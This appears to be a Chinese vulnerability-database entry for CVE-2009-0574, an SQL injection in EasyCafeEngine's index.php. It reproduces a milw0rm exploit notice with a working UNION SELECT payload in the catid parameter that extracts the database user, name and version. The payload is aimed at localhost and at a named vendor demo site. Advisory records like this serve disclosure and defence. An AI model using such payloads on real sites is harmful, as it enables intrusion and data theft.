CafeEngine 'index.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117359 漏洞类型 SQL注入
发布时间 2009-02-06 更新时间 2009-02-16
CVE编号 CVE-2009-0574 CNNVD-ID CNNVD-200902-328
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8002
https://cxsecurity.com/issue/WLB-2009020180
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-328
|漏洞详情
CafeEngine是为咖啡店或者小型餐馆构建网站系统的完备的开发工具。EasyCafeEngine的index.php中存在SQL注入漏洞。远程攻击者可以借助catid参数，执行任意SQL指令。
|漏洞EXP 
/************************************************************************/
             /*                                                                      */
             /*                            CAFE ENGINE                               */
             /*                                                                      */
             /*                   Remote SQL Injection Vulnerability                 */
             /*                                                                      */
             /*                                                                      */
             /************************************************************************/
   
                                                                                 


 [~]AUTHOR          : SuNHouSe2 [ALGERIAN HaCkEr]

 [~]HOME            : http://www.snakespc.com                    

 [~]VERSION         : EASY CAFE ENGINE

 [~]BUY SCRIPT      : http://cafeengine.com/  >>> Price : 10$

 [~]EXPLOIT         : 

                     http://127.0.0.1/index.php?catid=4%20UNION%20ALL%20SELECT%201,2,3,Group_concat(user(),0x3a,database(),0x3a,version()),5,6,7,8,9,10--
                     
 [~]DEMO WEBSITE    :
                     http://easy.cafeengine.com/index.php?catid=4%20UNION%20ALL%20SELECT%201,2,3,Group_concat(user(),0x3a,database(),0x3a,version()),5,6,7,8,9,10--
                

                             /////////////////////////////////////////////////////////////////////////////////////
            
                            ////////        Special ThanX : His0k4,& ALL Snakespc.com Members       ////////////
                           ////////             :Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:
                          ////////     ::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::so9or::    ////////////
                            
                         ////////////////////////////////////////////////////////////////////////////////////
                                        

                                               -=-=-=-= SuNHouSe2@yahoo.com =-=-=-

# milw0rm.com [2009-02-06]
|参考资料

来源:BID
名称:33655
链接:http://www.securityfocus.com/bid/33655
来源:MILW0RM
名称:8002
链接:http://www.milw0rm.com/exploits/8002
来源:VUPEN
名称:ADV-2009-0359
链接:http://www.frsirt.com/english/advisories/2009/0359
检索漏洞
开始时间
结束时间
相关漏洞